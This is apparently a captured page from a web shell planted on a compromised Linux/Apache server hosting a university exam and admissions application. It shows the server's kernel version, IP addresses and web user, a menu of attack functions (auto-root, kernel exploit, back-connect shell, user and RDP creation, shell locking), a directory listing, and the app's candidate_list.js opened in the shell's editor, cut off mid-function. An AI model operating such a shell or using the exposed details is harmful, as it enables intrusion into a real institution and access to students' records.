Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.222.161.245
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
bnu /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
New folder
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
base_file
[ DIR ]
drwxr-xr-x
events
[ DIR ]
drwxr-xr-x
nitte
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
AbsentEntrySubjectWise.js
14.12
KB
-rwxr-xr-x
AbsentEntrySubjectWise_old.js
13.91
KB
-rwxr-xr-x
AbsentEntrySubjectWiseold.js
14.12
KB
-rwxr-xr-x
AllkeyEvent.js
33.05
KB
-rwxr-xr-x
Dispatch_answer_script.js
17.91
KB
-rwxr-xr-x
Dispatch_answer_script_qp.js
16.33
KB
-rwxr-xr-x
Dispatch_answer_script_qpold.j...
16.33
KB
-rwxr-xr-x
ECHblk.js
6.67
KB
-rwxr-xr-x
IdentifyTransactions.js
2.13
KB
-rwxr-xr-x
MainPage.js
16.42
KB
-rwxr-xr-x
Message_board.js
5.02
KB
-rwxr-xr-x
absententrysubjectwiseQP.js
17.55
KB
-rwxr-xr-x
absententrysubjectwiseQPold (2...
16.33
KB
-rwxr-xr-x
absententrysubjectwiseQPold.js
16.33
KB
-rwxr-xr-x
ack_adm_application.html
1.79
KB
-rwxr-xr-x
ack_adm_application.js
44.35
KB
-rwxr-xr-x
ack_admentry_application.js
56.83
KB
-rwxr-xr-x
ack_admentry_application_bfeor...
26.14
KB
-rwxr-xr-x
ack_application.js
4.12
KB
-rwxr-xr-x
ack_chalentries.js
3.79
KB
-rwxr-xr-x
ack_exam_app_form.js
2.85
KB
-rwxr-xr-x
ack_exam_app_form_19112018.js
2.52
KB
-rwxr-xr-x
ack_exam_app_form_bulk - Copy....
2.06
KB
-rwxr-xr-x
ack_exam_app_form_bulk.js
2.06
KB
-rwxr-xr-x
ack_exam_app_form_oldformat.js
2.44
KB
-rwxr-xr-x
ack_registration.js
2.11
KB
-rwxr-xr-x
ack_rv_rt_application.js
2.45
KB
-rwxr-xr-x
adm_delete_data.js
2.75
KB
-rwxr-xr-x
admchallanpreparation.js
5.59
KB
-rwxr-xr-x
admdownloadexsheet.js
376
B
-rwxr-xr-x
admission_approve.js
21.39
KB
-rwxr-xr-x
admission_entry_reg.js
42.73
KB
-rwxr-xr-x
admission_entry_status.js
1.06
KB
-rwxr-xr-x
admissionapplist.js
3.79
KB
-rwxr-xr-x
admuploadexsheet.js
1.31
KB
-rwxr-xr-x
ansbookcancel.js
12.07
KB
-rwxr-xr-x
answer_book_issued.js
11.15
KB
-rwxr-xr-x
appstatus.js
2.57
KB
-rwxr-xr-x
attendance.js
6.64
KB
-rwxr-xr-x
attendance_freez.js
5.7
KB
-rwxr-xr-x
attendance_freez_mth.js
7.05
KB
-rwxr-xr-x
attshort.js
1.52
KB
-rwxr-xr-x
backup.js
2.73
KB
-rwxr-xr-x
backup_restore.js
1.36
KB
-rwxr-xr-x
boeselection.js
7.62
KB
-rwxr-xr-x
bundle_ack.js
1.42
KB
-rwxr-xr-x
bundle_dispatch.js
7.82
KB
-rwxr-xr-x
bundlereceive.js
971
B
-rwxr-xr-x
bundlestatus.js
1.28
KB
-rwxr-xr-x
calendar-en.js
3.52
KB
-rwxr-xr-x
calendar-setup.js
8.65
KB
-rwxr-xr-x
calendar.js
48.08
KB
-rwxr-xr-x
calender.js
903
B
-rwxr-xr-x
candidate_list.js
39.62
KB
-rwxr-xr-x
candidate_list_com27092016.js
30.36
KB
-rwxr-xr-x
challan_entries.js
3.92
KB
-rwxr-xr-x
challan_preparation.js
2.77
KB
-rwxr-xr-x
changeAdmDegree.js
4.01
KB
-rwxr-xr-x
changeMobile.js
3.03
KB
-rwxr-xr-x
checkbrowser.js
2.46
KB
-rwxr-xr-x
cntrDeclaration.js
576
B
-rwxr-xr-x
coll_exam_app_form.js
909
B
-rwxr-xr-x
collbankdet.js
1.91
KB
-rwxr-xr-x
colldesp_ack.js
3.3
KB
-rwxr-xr-x
college.js
4.56
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.js
2.33
KB
-rwxr-xr-x
college_approve.js
19.79
KB
-rwxr-xr-x
college_degree_status.js
3.29
KB
-rwxr-xr-x
college_wise_degree_status.js
962
B
-rwxr-xr-x
collfundtransfer.js
2.85
KB
-rwxr-xr-x
collinfo_popup.js
11.62
KB
-rwxr-xr-x
control.js
17.13
KB
-rwxr-xr-x
createAdmission.js
3.91
KB
-rwxr-xr-x
daterange.js
9.18
KB
-rwxr-xr-x
degree.js
2.86
KB
-rwxr-xr-x
display_details_in_grid.php
101.68
KB
-rwxr-xr-x
doc_verification.js
1.79
KB
-rwxr-xr-x
downloadFeeStatement.js
770
B
-rwxr-xr-x
downloadStudentPhotos.js
1.08
KB
-rwxr-xr-x
downloadStudentPhotosold.js
1.08
KB
-rwxr-xr-x
download_misc_files.js
817
B
-rwxr-xr-x
entryexitevents.js
1.23
KB
-rwxr-xr-x
export_import.js
1.83
KB
-rwxr-xr-x
export_import_setup.js
5.47
KB
-rwxr-xr-x
fee_report.js
3.59
KB
-rwxr-xr-x
feeupdation.js
5.43
KB
-rwxr-xr-x
feeupdation_bulk.js
6.38
KB
-rwxr-xr-x
footer.js
6.32
KB
-rwxr-xr-x
form_submit.js
1.3
KB
-rwxr-xr-x
formatdate.js
12.14
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.js
2.83
KB
-rwxr-xr-x
freeze_module_at_admin_college...
5.69
KB
-rwxr-xr-x
freeze_module_at_university_co...
4.55
KB
-rwxr-xr-x
grid_display.js
901
B
-rwxr-xr-x
import_marks.js
1.37
KB
-rwxr-xr-x
includeCSS.js
1.28
KB
-rwxr-xr-x
index.js
30.93
KB
-rwxr-xr-x
index_19022019.js
29.82
KB
-rwxr-xr-x
index_25012019.js
26.44
KB
-rwxr-xr-x
index_28012019.js
29.81
KB
-rwxr-xr-x
index_BEFORE_LOGINPOPUP.js
4.88
KB
-rwxr-xr-x
invigilators_dairy.js
4.79
KB
-rwxr-xr-x
jquery.color.js
3.57
KB
-rwxr-xr-x
jquery.js
29.15
KB
-rwxr-xr-x
load-report-js-files.js
10.34
KB
-rwxr-xr-x
load_js_files.js
637
B
-rwxr-xr-x
load_mannual_js_files.js
37.25
KB
-rwxr-xr-x
load_mannual_js_files_before_u...
11.57
KB
-rwxr-xr-x
markentry_studentwise.js
9.29
KB
-rwxr-xr-x
markentry_subjectwise.js
15.89
KB
-rwxr-xr-x
markslistelement_report.js
5.92
KB
-rwxr-xr-x
mascomb.js
15.34
KB
-rwxr-xr-x
message_text.js
1.33
KB
-rwxr-xr-x
module_setup.js
4.44
KB
-rwxr-xr-x
month_cal.js
63.03
KB
-rwxr-xr-x
month_cal1.js
1.96
KB
-rwxr-xr-x
openPopUp.js
4.94
KB
-rwxr-xr-x
photoupload.js
4.45
KB
-rwxr-xr-x
popup.js
108.39
KB
-rwxr-xr-x
popupold.js
57.4
KB
-rwxr-xr-x
printExamform.js
718
B
-rwxr-xr-x
qpissue.js
1.36
KB
-rwxr-xr-x
receive_rv_rt_application.js
2.66
KB
-rwxr-xr-x
recociliaton.js
1.11
KB
-rwxr-xr-x
remove_exam_ack.js
1.12
KB
-rwxr-xr-x
report_SubjectListGeneral.js
3.26
KB
-rwxr-xr-x
report_exam_application_form.j...
1.89
KB
-rwxr-xr-x
report_setup.js
12.46
KB
-rwxr-xr-x
results_pdf.js
851
B
-rwxr-xr-x
resultsheet.js
3.21
KB
-rwxr-xr-x
revaluation.js
7.56
KB
-rwxr-xr-x
revaluation_oldtype.js
4.65
KB
-rwxr-xr-x
revaluation_withdegree.js
7.5
KB
-rwxr-xr-x
room_allotment.js
2.94
KB
-rwxr-xr-x
room_allotment_datewise.js
5.37
KB
-rwxr-xr-x
room_allotment_old_03082018.js
4.79
KB
-rwxr-xr-x
roomallotmantsummary.js
859
B
-rwxr-xr-x
roomdeclaration.js
5.42
KB
-rwxr-xr-x
rv_rt_guide_lines.js
428
B
-rwxr-xr-x
rvdates.js
8.08
KB
-rwxr-xr-x
servicehead.js
9.02
KB
-rwxr-xr-x
serviceheadfee.js
10.71
KB
-rwxr-xr-x
services.js
7.96
KB
-rwxr-xr-x
student.php
5.23
KB
-rwxr-xr-x
student_entry.js
87.64
KB
-rwxr-xr-x
student_entry24.js
50.71
KB
-rwxr-xr-x
student_entry_14062018.js
44.4
KB
-rwxr-xr-x
student_entry_24112017.js
43.39
KB
-rwxr-xr-x
student_entry_kswu.js
37.89
KB
-rwxr-xr-x
student_entryold.js
33.98
KB
-rwxr-xr-x
studentphotolist.js
1.63
KB
-rwxr-xr-x
studentportal_remove.js
2.95
KB
-rwxr-xr-x
subjectAppearing_PopUp.js
1.92
KB
-rwxr-xr-x
subject_freshExam.js
12.22
KB
-rwxr-xr-x
subjectfreez.js
11.69
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
5.79
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
1.23
KB
-rwxr-xr-x
sum.php
116
B
-rwxr-xr-x
system.js
12.41
KB
-rwxr-xr-x
system_utility.js
8.69
KB
-rwxr-xr-x
teachers.js
32.41
KB
-rwxr-xr-x
teachersOLD.js
13.7
KB
-rwxr-xr-x
teachersnew.js
21.4
KB
-rwxr-xr-x
teachersreport.js
1.15
KB
-rwxr-xr-x
topsheet.js
765
B
-rwxr-xr-x
transaction-series.js
6.5
KB
-rwxr-xr-x
updateSection.js
2.74
KB
-rwxr-xr-x
updateexamcnt.js
3.55
KB
-rwxr-xr-x
uploadStudentPhotos.js
3.69
KB
-rwxr-xr-x
uploadStudentPhotos_beforedown...
3.52
KB
-rwxr-xr-x
upload_details.js
4.03
KB
-rwxr-xr-x
uploadzip.js
3.95
KB
-rwxr-xr-x
usersetup.js
30.1
KB
-rwxr-xr-x
usersubj_identification.js
4.53
KB
-rwxr-xr-x
validate.js
10.16
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : candidate_list.js
var prevPhotoStatus = 0; function DisplayStudentSubjectDetails(r,c,li) { prevPhotoStatus = 0; var funivcode= getCookie("univcode"); $("#index_main_page_result").load('candidate_list.html',function() { clearcandidateList(); $("#candidate_list_reg_no").focus(); $("#candidate_list_reg_no_details").html(""); $("#candidate_list_reg_no_details").hide(); $("#input_div_15").hide(); $g_total_count_of_each_div=0; g_funivcode=''; $g_student_reg_no_exam_details=''; enableCandidateHeaderFields(); $("#candidate_list_exam_A_details").hide(); $("#candidate_list_exam_B_details").hide(); $("#candidate_list_exam_C_details").hide(); $("#candidate_list_exam_D_details").hide(); $("#candidate_list_exam_E_details").hide(); $("#candidate_list_exam_F_details").hide(); $("#candidate_list_exam_G_details").hide(); $("#candidate_list_exam_H_details").hide(); $("#candidate_list_exam_I_details").hide(); $("#candidate_list_exam_J_details").hide(); $("#candidate_list_footer_details").hide(); $.ajax({ type: "POST", async:false, data:"r="+r+"&c="+trim(c)+"&li="+trim(li), url: $host_url+"DisplayStudentSubjectDetails", success: DisplayStudentSubjectDetailsResponce }); }); } var stuDegree = ''; var feetype = ''; function DisplayStudentSubjectDetailsResponce($responce) { $responce = eval('(' + $responce + ')'); $("#candidate_list_reg_no_details").show(); $("#candidate_list_exam_A_details").html(""); $("#candidate_list_exam_B_details").html(""); $("#candidate_list_exam_C_details").html(""); $("#candidate_list_exam_D_details").html(""); $("#candidate_list_exam_E_details").html(""); $("#candidate_list_exam_F_details").html(""); $("#candidate_list_exam_G_details").html(""); $("#candidate_list_exam_H_details").html(""); $("#candidate_list_exam_I_details").html(""); $("#candidate_list_exam_J_details").html(""); $("#Candidate_total_fee").html(''); $("#input_div_15").hide(); feetype = $responce.data.fee_details; //$("#payment_type").val('POSTOFFICE'); document.getElementById('payment_type').value = 'POSTOFFICE'; if($responce.error_code==0) { var payMode_type=$responce.data['paymode_type']; setCookie("funivcode",funivcode,1); document.getElementById('payment_type').options.length = 0; //$op = new Option("Select Payment", "");$op.id=""; //document.getElementById('payment_type').options.add($op); for($i=0;$i < payMode_type.length;$i++) { $op = new Option(payMode_type[$i]['bank_name'], payMode_type[$i]['payment_type']); $op.id=payMode_type[$i]['payment_type'];//specifying the id for options document.getElementById('payment_type').options.add($op); } disableCandidateHeaderFields(); $g_total_count_of_each_div=$responce.data.total_count_of_each_div; $g_student_reg_no_exam_details=$responce.data.table_data; $g_FUNIVCODE=$responce.data.FUNIVCODE; $("#candidate_list_category").val($responce.data.table_data.FCATEGORY); $("#candidate_list_gender").val($responce.data.table_data.Fgender); $("#candidate_list_reg_no_details").html($responce.data.html_data); if(funivcode=='016' || funivcode=='026' || funivcode=='036') stuDegree = $responce.data.table_data.FDEGREE; $("#student_info").val(''); $("#student_info").html($responce.data['student_info']); $("#candidate_list_exam_A_details").html($responce.data.candidate_list_exam_A_details); $("#candidate_list_exam_B_details").html($responce.data.candidate_list_exam_B_details); $("#candidate_list_exam_C_details").html($responce.data.candidate_list_exam_C_details); $("#candidate_list_exam_D_details").html($responce.data.candidate_list_exam_D_details); $("#candidate_list_exam_E_details").html($responce.data.candidate_list_exam_E_details); $("#candidate_list_exam_F_details").html($responce.data.candidate_list_exam_F_details); $("#candidate_list_exam_G_details").html($responce.data.candidate_list_exam_G_details); $("#candidate_list_exam_H_details").html($responce.data.candidate_list_exam_H_details); $("#candidate_list_exam_I_details").html($responce.data.candidate_list_exam_I_details); $("#candidate_list_exam_J_details").html($responce.data.candidate_list_exam_J_details); if($responce.data.photo_path != 'img/default_photo.jpg') { $("#student_entry_photo").attr("src",$responce.data.photo_path); $("#student_entry_uploadapp").hide(); prevPhotoStatus = 1; } else { $("#student_entry_photo").attr("src",$responce.data.photo_path); } for($c_code=65;$c_code<75;$c_code++) { $char_code=String.fromCharCode($c_code); var fresh_exam=$("#fresh_exam_"+$char_code).val(); if(fresh_exam != undefined && trim(fresh_exam)!='') { showExamNosDiv('candidate_list_exam_'+fresh_exam+'_details'); var elechk = document.getElementById('candidate_list_exam_'+fresh_exam+'_details^'+fresh_exam); if (typeof(elechk) != 'undefined' && elechk != null) { document.getElementById('candidate_list_exam_'+fresh_exam+'_details^'+fresh_exam).checked=true; checkAllCandidateSemisterSub('candidate_list_exam_'+fresh_exam+'_details^'+fresh_exam); } } else showExamNosDiv('candidate_list_exam_A_details'); } $("#candidate_list_footer_details").show(); document.getElementById("cand_entry_A").checked=false; } /* else if(funivcode=='026') { $("#candidate_list_reg_no_details").html($responce.data.data); $("#hTabTopmainEach").hide();; } else { var adm_ticket = $responce.data.adm_ticket; if(adm_ticket =='true') { $("#downloadAdm").show(); } $("#candidate_list_reg_no_details").html($responce.data.data); $("#hTabTopmainEach").hide(); } */ else if($responce.error_code== -9) { $("#download_admtcard_enable").hide(); $("#candidate_list_reg_no_details").html($responce.data.data); $("#hTabTopmainEach").hide(); } else { var adm_ticket = $responce.data.adm_ticket; if(adm_ticket =='true') { $("#download_admtcard_enable").show(); var photo_present = $responce.data.photo_present; if(photo_present == 'true') { $("#uploadPhotoToAdmcard").hide(); $("#downloadAdm").show(); } else { $("#uploadPhotoToAdmcard").show(); $("#downloadAdm").hide(); } } $("#candidate_list_reg_no_details").html($responce.data.data); $("#hTabTopmainEach").hide(); } } function enableCandidateHeaderFields() { $("#candidate_list_reg_no").val(''); $("#candidate_list_reg_name").val(''); $("#Candidate_total_fee").html(''); $g_total_exam_details=''; window.location.fee_exam_J=''; hideAllDivs(); } function clearcandidateList() { $("#candidate_list_degree_code").val(''); $("#candidate_list_degree_name").val(''); $("#candidate_list_reg_no").val(''); $("#candidate_list_reg_name").val(''); $("#Candidate_total_fee").html(''); $g_total_exam_details=''; } function hideAllDivs() { $("#candidate_list_reg_no_details").hide(); $("#candidate_list_exam_A_details").hide(); $("#candidate_list_exam_B_details").hide(); $("#candidate_list_exam_C_details").hide(); $("#candidate_list_exam_D_details").hide(); $("#candidate_list_exam_E_details").hide(); $("#candidate_list_exam_F_details").hide(); $("#candidate_list_exam_G_details").hide(); $("#candidate_list_exam_H_details").hide(); $("#candidate_list_exam_I_details").hide(); $("#candidate_list_exam_J_details").hide(); $("#candidate_list_footer_details").hide(); } function showExamNosDiv($id) { $div_id_split=$id.split("_"); $char_code=$div_id_split[3]; document.getElementById("cand_entry_"+$char_code).checked=true; $("#candidate_list_exam_A_details").hide(); $("#candidate_list_exam_B_details").hide(); $("#candidate_list_exam_C_details").hide(); $("#candidate_list_exam_D_details").hide(); $("#candidate_list_exam_E_details").hide(); $("#candidate_list_exam_F_details").hide(); $("#candidate_list_exam_G_details").hide(); $("#candidate_list_exam_H_details").hide(); $("#candidate_list_exam_I_details").hide(); $("#candidate_list_exam_J_details").hide(); $("#"+$id).show(); if(funivcode=='018' || funivcode=='031' || funivcode=='003') { var fresh_exam=$("#fresh_exam_"+$char_code).val(); if(fresh_exam == $char_code) { document.getElementById($id+'^'+$char_code).checked = true; checkAllCandidateSemisterSub($id+'^'+$char_code); } } var grand_total=0; var table_obj=$("table[id*='fee_table_']") ; jQuery.each(table_obj, function(k, v) { var char_id=v['id'].split("_")[2]; i_total= $("#nfee_"+char_id+"_total").val(); grand_total=eval(grand_total+parseFloat(i_total)); }); $("#Candidate_total_fee").html(grand_total); } function saveCandidateEntryDetails() { var funivcode= getCookie("univcode"); /* if(funivcode == '017') alert("Rs.200/- Fine will be added."); */ if(funivcode == '012' || funivcode == '036') alert("Rs.500/- Fine will be added."); //################Check Empty Subjects Starts################################# for($c_code=65;$c_code<75;$c_code++) { $char_code=String.fromCharCode($c_code); $div_id="candidate_list_exam_"+$char_code+"_details"; $div_id_total="nfee_"+$char_code+"_total"; $div_id_date="exam_"+$char_code+"_date"; if($g_total_count_of_each_div[$div_id]>0 ) { $checked_flag=0; $total_rows=$g_total_count_of_each_div[$div_id]; $n=0; $exam_fee=parseFloat($("#"+$div_id_total).val()); for($k=0;$k<$total_rows;$k++) { $input_id="exam_"+$char_code+"_ce_sub_code_"+$k; $pass_id="exam_"+$char_code+"_ce_pass_"+$k; $year_id="exam_"+$char_code+"_ce_pass_"+$k; if(trim($("#"+$input_id).val())=='0' || trim($("#"+$input_id).val())=='None') { showExamNosDiv($div_id); alert("Select all subjects in Exam "+$char_code); $("#"+$input_id).focus(); return; } if(document.getElementById($year_id).checked==true) $checked_flag=1; if(($checked_flag==0 && $exam_fee>0) || ($checked_flag==1 && $exam_fee==0.00)) { } /* if(!isDate(document.getElementById($div_id_date).value,'d/M/y')) { alert("Please enter the date format as dd/mm/yyy"); showExamNosDiv($div_id); return; } */ } var fresh_exam=$("#fresh_exam_"+$char_code).val(); if($checked_flag==0 && $exam_fee>0) { alert("Select atleast one subject as you have entered Exam Fee"); showExamNosDiv($div_id); $("#"+$div_id_total).focus(); return; } else if($checked_flag==1 && ($exam_fee==0.00 || $exam_fee==0) && funivcode != '017' && funivcode != '037'&& funivcode != '011') { alert("Exam fee cannot be zero for Exam "+$char_code); showExamNosDiv($div_id); $("#"+$div_id_total).focus(); return; } else if(($checked_flag==1 && ($exam_fee==0.00 || $exam_fee==0)) && $char_code != fresh_exam && funivcode != '037'&& funivcode != '011') { alert("Exam fee cannot be zero for Exam "+$char_code); showExamNosDiv($div_id); $("#"+$div_id_total).focus(); return; } } } //var candidateMobile = document.getElementById('candidate_mobile').value; if(funivcode == '008') var moi = document.getElementById('moi').value; /*if(trim(candidateMobile) == '' || candidateMobile.length != 10) { alert('Enter the Valid 10 digit Mobile No'); document.getElementById('candidate_mobile').focus(); return; } */ if(funivcode == '011') { if(prevPhotoStatus == 0) { if(document.getElementById('student_entry_uploadapp').value == '' || $("#student_entry_uploadapp").attr("src") =='img/default_photo.jpg') { alert('Upload Your Photo'); return; } } } var payment_type = $("#payment_type").val(); if(payment_type == "") { alert('Select payment type'); document.getElementById('payment_type').focus(); return; } //################Check Empty Subjects ENDS################################# showExamNosDiv('candidate_list_exam_A_details') url_object=GetUrlParameters(); $reg_no=trim(url_object['r']); $total_fee=parseFloat(trim(document.getElementById('Candidate_total_fee').innerHTML)); $details = new Object(); $fee_details = new Object(); $sub_details = new Object(); if(funivcode!='018' && funivcode!='017'&& funivcode!='037'&& funivcode!='011') { if($total_fee<=0) { alert("Total fee is Zero!"); return false; } } for($c_code=65;$c_code<75;$c_code++) { $char_code=String.fromCharCode($c_code); $div_id="candidate_list_exam_"+$char_code+"_details"; $div_id_total="nfee_"+$char_code+"_total"; $div_id_receipt_no="exam_"+$char_code+"_receipt_no"; $div_id_date="exam_"+$char_code+"_date"; $app_id="FAPPEAR"+$char_code; $details[$char_code] = new Object(); $sub_details[$char_code] = new Object(); $sub_fee = new Object(); if($g_total_count_of_each_div[$div_id]>0 && $g_student_reg_no_exam_details[$app_id]!='N' && $g_student_reg_no_exam_details[$app_id]!='P' ) { $total_rows=$g_total_count_of_each_div[$div_id]; $sub_arr=''; $sub_arr="\$exam_"+$char_code; $sub_arr = new Object(); $sub_fee=''; $sub_fee="\$exam_"+$char_code; $sub_fee = new Object(); $sub_fee[0] = new Object(); $sub_fee[0]['total_fee']=trim($("#"+$div_id_total).val()); $n=0; for($k=0;$k<$total_rows;$k++) { fi="exam_"+$char_code+"_fi_"+$k; $input_id="exam_"+$char_code+"_ce_sub_code_"+$k; $pass_id="exam_"+$char_code+"_ce_pass_"+$k; if(trim($("#"+$input_id).val())!='') { $sub_arr[$n]= new Object(); $sub_arr[$n]['sub']=trim($("#"+$input_id).val()); $sub_arr[$n]['fi']=trim($("#"+fi).val()); $sub_arr[$n]['ex']=$char_code; if(document.getElementById($pass_id).type=='checkbox') { if(document.getElementById($pass_id).checked==true) $sub_month_year=1; else $sub_month_year=0; } else $sub_month_year=-1; $sub_arr[$n]['smy']=$sub_month_year; $n++; } } var myJSONText=''; myJSONText =($sub_arr) ; $details[$char_code]=myJSONText; var myJSONSubText=''; myJSONSubText =($sub_fee) ; $sub_details[$char_code]=myJSONSubText; } else { $details[$char_code]=''; $sub_fee[$char_code] =0; $sub_fee[$char_code] =0; $sub_fee[$char_code] =0; } } var new_fee_details=new Object(); var table_obj=$("table[id*='fee_table_']") ; jQuery.each(table_obj, function(k, v) { var char_id=v['id'].split("_")[2]; new_fee_details[char_id] = new Object(); exam_fee_details=new Object(); var fee_obj=$("td[id^='tfh_"+char_id+"_']"); var i_total=0; jQuery.each(fee_obj, function(fk, fv) { var input_id=fv['id']; var head_code=$("#"+input_id).text(); var exam_code=fv['id'].split("_")[2]; exam_fee_details[head_code]=$("#nfee_"+char_id+"_"+exam_code).val();; }); new_fee_details[char_id]=exam_fee_details; }); degree=''; var data="®_no="+$reg_no+"°ree="+degree+"&total_fee="+$total_fee+"&details="+(JSON.stringify($details))+"&sub_fee="+ (JSON.stringify($sub_details))+"&new_fee_details="+(JSON.stringify(new_fee_details)) ; data+="&c="+url_object['c']; ; data+="&li="+url_object['li']; ; data+="&payment_type="+payment_type; ; //data+="&candidate_mobile="+candidateMobile; data+="&prevPhotoStatus="+prevPhotoStatus; data+="&student_entry_photo_path="+encodeURIComponent($("#student_entry_photo").attr("src")); if(funivcode == '008') data+="&moi="+moi; /* var t = ''; if(document.getElementById("T21").checked==true) { t = ',T22'; } if(document.getElementById("T23").checked==true) { t+= ',T24'; } if(document.getElementById("T25").checked==true) { t+= ',T26'; } fldorder = 'T1,T17,T2,T3,T5,T6,T7,T8,T9,T10,T11,T12,T13,T14,T17,T18,T19,T15,T16,T19'+t; mandfields = 'T1,T17,T2,T3,T5,T6,T7,T8,T11,T12,T17,T18,T19,T15,T16'+t; var myobject; myobject = onsavevalidate.call(myobject, 999); if (myobject != 999) { document.getElementById(myobject).focus(); return false; } var name = document.getElementById('T1').value; var dob = document.getElementById('T17').value; var fathername = document.getElementById('T2').value; var mothername = document.getElementById('T3').value; var gender = document.getElementById('T5').value; var category = document.getElementById('T6').value; var curadd1 = document.getElementById('T7').value; var curadd2 = document.getElementById('T8').value; var curadd3 = document.getElementById('T9').value; var curadd4 = document.getElementById('T10').value; var peradd1 = document.getElementById('T11').value; var peradd2 = document.getElementById('T12').value; var peradd3 = document.getElementById('T13').value; var peradd4 = document.getElementById('T14').value; var curaddpin = document.getElementById('T18').value; var peraddpin = document.getElementById('T19').value; var mobile = document.getElementById('T15').value; var email = document.getElementById('T16').value; var fschship = 'N'; var fempl = 'N'; var ftrs = 'N'; if(document.getElementById("T21").checked==true) { fschship = 'Y'; } if(document.getElementById("T23").checked==true) { fempl= 'Y'; } if(document.getElementById("T25").checked==true) { ftrs= 'Y'; } var adharno = document.getElementById('T20').value; var fschsource = document.getElementById('T22').value; var femplplace = document.getElementById('T24').value; var fhostal = document.getElementById('T26').value; var datastring = "&name="+name+"&dob="+dob+"&fathername="+fathername+"&mothername="+mothername+"&gender="+gender+"&category="+category+"&curadd1="+curadd1+"&curadd2="+curadd2+"&curadd3="+curadd3+"&curadd4="+curadd4+"&peradd1="+peradd1+"&peradd2="+peradd2+"&peradd3="+peradd3+"&peradd4="+peradd4+"&mobile="+mobile+"&email="+email+"&curaddpin="+curaddpin+"&peraddpin="+peraddpin+"&adharno="+adharno+"&fschship="+fschship+"&fempl="+fempl+"&ftrs="+ftrs+"&fschsource="+fschsource+"&femplplace="+femplplace+"&fhostal="+fhostal; data+=datastring; */ $.ajax({ type: "POST", url: $host_url+"saveCandidateEntryDetails", async:false, data:data, success: saveCandidateEntryDetailsResponse }); /* $upload = $host_url+"saveCandidateEntryDetails&"+data; document.getElementById("form_module_image_upload").setAttribute("action",$upload); return AIM.submit(document.getElementById("form_module_image_upload"), 'same_tab',{'onComplete' : saveCandidateEntryDetailsResponse}); */ } function saveCandidateEntryDetailsResponse($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code==-1) { alert($responce.data['data']);return false; } else { /* var appno = $responce.data['appno']; var date = $responce.data['date']; var payment_type = $responce.data['payment_type']; var $html="<table border=0 align='center' style='width:100%;font-weight:bold;font-size:16px;line-height:22px;padding:6px;'>"; $html+="<tr><td align='center' style='color:green;'>Registered Successfully</td></tr>"; $html+="<tr><td align='center' style='color:green;'> </td></tr>"; $html+="<tr><td align='center' style='font-weight:normal;'>Your Application No. : <span style='font-weight:bold'>"+appno+"</span></td></tr>"; $html+="<tr><td align='center' style='font-weight:normal;' >Date : <span style='font-weight:bold'>"+date+"</span></td></tr>"; $html+="<tr><td align='center' style='color:green;'> </td></tr>"; if(payment_type == "DEBIT/CREDIT/NET BANKING") { $html+="<tr><td align='center'><div class='raval_submit' style='width:193px;float:none;'><span onclick=MakeOnlinePayment('"+appno+"'); style='float:left;margin-left:8px;cursor: pointer; line-height: 19px;font-size:14px;font-weight:bold;'>Make Online Payment</span></div></td></tr> </tr>"; } else { $html+="<tr><td align='center'>Please take a printout and submit to college with documents</td></tr><tr><td > </td></tr> <tr> <td align='center' ><div class='raval_submit' style='width:241px;float:none;' > <span onclick= PrintApplicationForm('"+payment_type+"','"+appno+"') style='float:left;margin-left:8px;cursor: pointer; line-height: 19px;font-size:14px;font-weight:bold;'>Click here to take a PrintOut</span></div></td></tr>"; } $("#candidate_list").html($html); */ $("#candidate_list").html($responce.data); } } var pr_fee = 0; var th_fee = 0; function UpdateExamFeeForEachSelectedSubject() { var fresh_exam; var z = 0; var pr = 0; for($c_code=65;$c_code<75;$c_code++) { $char_code = String.fromCharCode($c_code); $div_id="candidate_list_exam_"+$char_code+"_details"; $div_id_receipt_no="exam_"+$char_code+"_receipt_no"; $div_id_date="exam_"+$char_code+"_date"; $app_id = "FAPPEAR"+$char_code; //14503515 if($g_total_count_of_each_div[$div_id]>0 && $g_student_reg_no_exam_details[$app_id]!='N' && $g_student_reg_no_exam_details[$app_id]!='P' ) { $total_rows = $g_total_count_of_each_div[$div_id]; $sub_month_year=0; var subject_wise_thr_pr_arr=new Object(); var sub_cnt=0; var prcnt = 0; var thcnt = 0; for($k=0;$k<$total_rows;$k++) { $input_id="exam_"+$char_code+"_ce_sub_code_"+$k; $pass_id="exam_"+$char_code+"_ce_pass_"+$k; if(trim($("#"+$input_id).val())!='') { var sub_code=$("#"+$input_id).val(); if(document.getElementById($pass_id).type=='checkbox') { if(document.getElementById($pass_id).checked==true) { $sub_month_year=eval($sub_month_year+1); if(sub_code!='None') { subject_wise_thr_pr_arr[sub_code]=new Object(); subject_wise_thr_pr_arr[sub_code]['th_cnt']=$("#exam_"+$char_code+"_th_cnt_"+$k).val(); subject_wise_thr_pr_arr[sub_code]['pr_cnt']=$("#exam_"+$char_code+"_pr_cnt_"+$k).val(); sub_cnt++; prcnt = parseInt(prcnt) + parseInt($("#exam_"+$char_code+"_pr_cnt_"+$k).val()); thcnt = parseInt(thcnt) + parseInt($("#exam_"+$char_code+"_th_cnt_"+$k).val()); } } } } } var fee_obj = $("input[id^='nfee_"+$char_code+"_']"); //alert(fee_obj); jQuery.each(fee_obj, function(fk, fv) { var input_id=fv['id']; var min_val_input_id=input_id.replace("nfee_","minnfee_"); var o_val_input_id=input_id.replace("nfee_","o_fee_"); var prfee_input_id=input_id.replace("nfee_","prfee_"); //alert($("#"+prfee_input_id).val()); var fee_name = $("#tfh_"+$char_code+"_"+input_id_l).html(); //if(min_val_input_id.split("_")[2]) var minnfee_val = parseFloat($("#"+min_val_input_id).val()); var input_id_l=fv['id'].split("_")[2]; //alert(input_id_l); var 